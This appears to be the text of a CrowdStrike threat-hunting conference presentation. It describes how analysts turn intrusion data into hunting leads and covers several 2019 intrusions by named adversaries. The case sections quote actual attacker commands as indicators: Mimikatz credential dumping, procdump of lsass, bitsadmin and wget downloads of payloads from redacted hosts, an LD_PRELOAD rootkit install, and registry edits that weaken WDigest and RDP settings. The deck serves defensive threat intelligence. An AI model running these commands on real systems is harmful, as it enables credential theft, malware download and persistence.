DON’T MISS THE FOREST FOR THE TREES

GLEANING HUNTING VALUE FROM TOO MUCH INTRUSION DATA

KARL SCHEUERMAN, SR. STRATEGIC INTRUSION ANALYST
PIOTR WOJTYLA, SR. RESEARCHER
About me:

- 10+ years in intelligence and information security
- Air Force/Air Nat’l Guard
- OverWatch threat hunter
- GSEC and GCIH

Contact:

- karl.scheuerman@crowdstrike.com
- Twitter: @KarlScheuerman
About me:
- 10+ years in information security
- 7+ years in Incident Response
- OverWatch Researcher

Contact:
- piotr.wojtyla@crowdstrike.com
- Twitter: @dfir_it
TODAY’S AGENDA

- The need to evolve
- Solutions
- Notable findings
- Suggestions
THE NEED TO EVOLVE: HOW DO WE...

- Keep up with increasing event data
- Better extract intel and hunting leads
- Better organize intrusion findings
THE NEED TO EVOLVE

Optimize Hunting

Findings -> Observables

Tools
- Improved prioritization of hunting leads
- R&D projects
- Created sub-teams to promote focus and expertise
FINDINGS TO OBSERVABLES

- Detailed tactical insights about threat actor capability, e.g. credential access techniques
  - Cpsx64.exe 9839D7F1A0 -h
  - setup.zip "privilege::debug" "sekurlsa::logonpasswords" "exit"
  - procdump64.exe -accepteula -ma lsass.exe hey.sys
  - ...

- Tracking campaigns across various vertical based on employed techniques
  - target_name[0:3].zip "privilege::debug" "log"
    "sekurlsa::logonpasswords" "exit"
FINDINGS TO OBSERVABLES (CONT.)

- Micro Intrusion fingerprints
- First commands executed on a system after successful implant deployment:

```
\Windows\winmm.dll
 cmd
 quser
 net user
 ipconfig /all
 net group "domain computers" /domain
 cmd
 systeminfo
```

- Hunting Lead Generation

- RAT dropped and side-loaded Explorer.exe
- Hands on begins
- Query for RDP users sessions
- List all accounts on local computer (active & inactive)
- List Network Configuration
- List Users within a group " " on a Domain Controller
- Command Shell
- List hardware & software on a local system
"Campaign" events in MISP comprised of various attributes and tags to track relevant data points, including:

- Links to raw event data, Jira case tickets, intelligence reporting, etc.
- Tools and TTPs (ATT&CK mapping)

**Results:**

Hunters can now quickly orient to new or recurring threat activity.

Threat findings can be easily tailored and summarized to support defender/customer needs.
NOTABLE FINDINGS IN 2019
VELVET CHOLLIMA VS. ACADEMIC INSTITUTION

- STOLEN PENCIL campaign activity uncovered
- Adversary later began using valid accounts
- Hunting across file activity in suspicious directories helped track malicious use of valid accounts

Notable TTPs

- Credentials in files
- Browser extensions
- Actor used compromised Gmail account to “advertise” their malicious Chrome extension
WICKED PANDA VS. TECH COMPANY

- Previously compromised credentials used to RDP into a domain controller
- The threat actor employed living off the land techniques coupled with a custom-build Winnti RAT and Linux based Rootkits

Notable TTPs

- Execution via BITS
  - bitsadmin /transfer n https://[URL REDACTED]/StoneV4whx64.exe C:\f.exe
  - bitsadmin.exe" /transfer n http://[URL REDACTED]/ss.exe C:\PerfLogs\f.exe

- Persistence via LD_PRELOAD
  - wget [IP Address REDACTED]:82/libsshd.so
  - sudo ./install
    - Modified /etc/ld.so.preload
    - New entry: /$LIB/libsshd.so
PANDA VS. TELECOM

- Pre-existing compromise identified when adversary pivoted to endpoints covered by Falcon
- The custom backdoor used email protocol leveraging a webmail domain registered to the target organization to receive C2 communication

Notable TTPs

- Credential Access
  - cmd.exe /c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U
    aa.txt privilege::debug sekurlsa::logonpasswords exit
    >c:\windows\temp\11.txt
  - cmd.exe /c c:\windows\temp\m.exe powerful -d sekurlsa logonpasswords
    >c:\windows\temp\11.txt
  - c:\windows\temp\m.exe powerful -d lsadump lsa /inject
UNIDENTIFIED ADVERSARY VS. DIB ORGANIZATION

- Pre-existing compromise identified when adversary pivoted to endpoints covered by Falcon
- Hunting found cred access stemming from suspicious batch files in ProgramData directory, among other malicious behavior

Notable TTPs

- Modify registry to change WDigest settings
  - `reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDiges t /v UseLogonCredential /t REG_DWORD /d 1 /f`

- Access Token Manipulation
  - `token.exe -t "[REDACTED USERNAME]" "dir \\[REDACTED]\c$\programdata"`
ECRIME ADVERSARY VS. CONGLOMERATE

- “Big Game Hunting” case
- Initial access gained via RDP
- Executed `Zzz.bat` resulting in attempts to modify the environment and execute Dharma

Notable TTPs

- Redundant access via RDP and creation of 4 new user accounts
- Modify registry
  - `reg add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxIdleTime" /t REG_DWORD /d 0x0 /f`
  - `reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disabletaskmgr /t REG_DWORD /d 0 /f`
SUGGESTIONS

- Your hunting methods and workflows should be continually evolving
- As data sources grow, prioritization improvement is essential
- Don’t get so far down the rabbit hole that you lose sight of big picture needs
QUESTIONS?
crowdstrike.com